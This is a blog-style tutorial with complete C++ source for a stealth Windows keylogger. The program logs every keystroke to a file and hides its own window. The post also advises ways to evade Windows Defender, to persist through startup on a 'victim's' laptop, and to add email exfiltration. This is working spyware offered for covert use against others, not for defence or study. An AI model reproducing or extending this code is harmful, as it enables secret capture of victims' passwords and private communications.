Making a simple C++ Keylogger - Download with Source Code

Hello friends.. Today I am going to discuss here about the most awaiting post by our readers. You are going to learn about making a running and undetectable keylogger in C++ programming language. And you will be amazed to know that you don't need to have a complete knowledge of C++ to learn this thing. As I am here to explain you in detail what happens by execution of which code of line.

Still, there are some prerequisites to learn how to design a Keylogger and get the knowledge of different types of keylogger and how they work. You don't need to know the programming language but you still need to know how a keylogger really works in background and an algorithm to design it. Hence, before continuing your reading of this article, I recommend you to read the below to articles for ease. (Its because making a keylogger is not a child's task. You should have complete knowledge of it.)

Links:

• A simple algorithm to design a Keylogger
• Types on Keylogger and how each type works

After reading the above articles, you can easily move towards reading this article. In the first article i.e. steps to make a keylogger, you have learned about two things necessary in designing a keylogger. These two most important tasks are:

1. You need to identify a function which identifies and triggers when a key is pressed.
2. You need to code the keylogger to run in stealth (hidden) mode.

The first task is carried out by a function --GetAsyncKeyState()-- which is a part of windows API in C++. Hence, this function returns a specific value when the ASCII value of the character key pressed is passed as an argument. Now let us understand the making of a C++ Keylogger taking a closer look at its code.

C++ Keylogger Code:

#include<iostream>
#include<fstream>
using namespace std;     //used to avoid the compilation errors because of redefinition of variables.
#include<windows.h>
#include<winuser.h>


int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,SW_HIDE);
}

We will study three basic things in this piece of code:

1. The working of GetAsyncKeyState() function.
2. The working of user-defined Save() function.
3. The working of user-defined Stealth() function.

You cannot copy this piece of code from my site. Hence, I have given a direct download link for this piece of code. Click here to download the Keylogger Source File.

Understanding: 

GetAsyncKeyState function: It is a Windows API function available in C++. It determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState. If the function succeeds, the return value specifies whether the key was pressed since the last call to GetAsyncKeyState, and whether the key is currently up or down. If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. 

• GetAsyncKeyState function example:
  if(GetAsyncKeyState(VK_UP))
{
printf("The Up Arrow Has Been Pressed\n");
}

Save function:The save function takes in the ASCII value of keystroke pressed as an argument. It then compares the value with each keystroke individually. If the comparison expression returns TRUE, it stores the keystroke pressed in a file with the help of a character variable. (One can also use Switch-Case instead of if-else ladder.)

Stealth function: Here is simple explanation of it.

HWND stealth;

Declares a window handle.

AllocConsole();

Allocates a new console for the calling process.

stealth = FindWindowA("ConsoleWindowClass", NULL);

Find the window handle with class name "ConsoleWindowClass".

ShowWindow(stealth,SW_HIDE);

Hide it.

Pros/Cons

Rather than mentioning the pros and cons here, I would like to simply mention the things this keylogger cannot do. The very first thing is, when you run this keylogger file, it will be easily detected by the Windows Defender. This is because of the file writing method we choose in this program. To avoid this, you can use the ofstream write("Filename.txt", ios::app) method to open a file in write mode rather than using file pointer method i.e, FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"). Also, you need to change the function to write instead of fprintf. There is a small difference in its working but a master of C++ would find it easy.

Next thing this keylogger can't do is, it can't send you the log file via email. Its because, at the start of my article I mentioned Types of Keylogger. How you get the log file from victim's computer depends on the type of keylogger. And hence, it is not possible for me to code a keylogger each of one type. Still, one can add its code if you are a PRO coder!

The last thing you need to know is, you have to attach the executable file in startup. Else, everytime the victim restarts his/her laptop, this keylogger file will be removed from the main memory and hence it will stop functioning.

How to Stop the Keylogging activity

You might have thought that you know how to run this keylogger and record keystrokes. But ever thought how to stop it..! It is running in stealth mode i.e. it is not running in a window that you can close it simply by clicking on Close Button. The simplest way to stop this Keylogger is open the Task Manager and find the keylogger by is executable file name and end it process/task.

I hope you find this article interesting. Also I think you may be having several doubts related to this piece of code. Feel free to ask queries in the comment box and share this article with your friends and spread knowledge. Thank you..